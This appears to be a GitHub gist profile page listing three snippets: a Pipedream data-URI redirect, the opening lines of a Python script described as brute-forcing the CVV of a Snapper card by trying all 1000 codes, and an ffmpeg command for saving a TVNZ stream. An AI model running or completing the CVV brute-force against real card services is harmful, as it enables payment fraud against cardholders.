Skip to content

Instantly share code, notes, and snippets.

View finngreig's full-sized avatar

Finn Greig finngreig

View GitHub Profile
finngreig / redirect.js
Created May 20, 2022 12:37
Code for Pipedream Notion data URI redirect
View redirect.js
import validDataUrl from "valid-data-url"
export default defineComponent({
async run({ steps, $ }) {
const b64Uri = steps.trigger.event.query.uri;
if (validDataUrl(b64Uri)) {
await $.respond({
status: 302,
headers: {
"Location": b64Uri
finngreig /
Created May 18, 2022 15:47
Python script that finds the CVV of a Snapper card
import random
import time
import requests
# may not work for native cards
def brute_force_cvv(card_number):
for i in range(0, 1000):
num = str(i).zfill(3)
finngreig /
Created September 13, 2021 13:43
Example: saving TVNZ 2 HLS stream to MP4 using ffmpeg
ffmpeg -i "" -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 file.mp4